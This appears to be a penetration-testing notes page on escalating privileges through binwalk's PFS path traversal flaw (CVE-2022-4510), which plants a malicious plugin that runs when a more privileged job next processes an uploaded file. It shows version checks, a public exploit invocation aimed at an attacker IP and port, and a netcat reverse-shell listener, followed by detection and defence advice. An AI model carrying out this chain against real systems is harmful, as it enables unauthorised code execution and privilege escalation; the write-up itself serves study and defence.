the_open_door
coffee
ESEN
← Back to index

binwalk PFS Path Traversal (CVE-2022-4510)

ATT&CKT1068

binwalk is the tool used to analyse and extract firmware, which is why it shows up in automated jobs: something drops a file in a directory and a process examines it. CVE-2022-4510 affects binwalk 2.1.2b through 2.3.2 and turns that automation into code execution.

The flaw is in the PFS filesystem extractor: it does not validate the paths carried inside the file, so a crafted image can make the extraction write outside the destination directory. With enough ../ you reach wherever you need, and where you need is usually binwalk's own plugin directory: ~/.config/binwalk/plugins/. A .py dropped there is loaded by binwalk on its next run, with the privileges of whoever launches it.

So the chain is: the file we upload makes binwalk write itself a plugin, and the plugin runs on its own next time.

The first thing is the version, because outside the range there is nothing to do:


binwalk --help | head -n 3

searchsploit binwalk

The public exploit builds the poisoned PNG with the path and the payload inside:


python3 exploit.py <file.png> <ip> <port>

And the resulting file is dropped where the watching process will see it, which is the other half of the problem: there is nearly always an inotifywait or a cron behind it waiting for new files.


rlwrap nc -nlvp <port>

Requirements. binwalk between 2.1.2b and 2.3.2, and somebody more privileged than us running it over a file we control. Without that second half the flaw escalates nothing: writing a plugin into our own ~/.config only executes code as ourselves. That is why the enumeration that matters here is not of versions but of processes: what runs in the background and over which directory.

How to detect it. The binwalk process writing outside its extraction directory is the direct signal, and auditd on openat with O_CREAT filtered by that executable gives it unambiguously. On disk, a .py appearing in ~/.config/binwalk/plugins/ for a user who does not write plugins. And in the process tree, binwalk spawning sh, bash or python as a child, which a normal extraction never does.

Defence. Update binwalk to 2.3.3 or later. And in the design: an automated job processing files uploaded by third parties must run with least privilege and in an isolated directory, never as root over the upload directory. binwalk's bug is the vehicle; what does the damage is the privilege of whoever runs it.

It leans on a scheduled job we can influence and is, at bottom, the same pattern as going from a version to an exploit, except the version has to be read from inside the machine.

Machines where it's used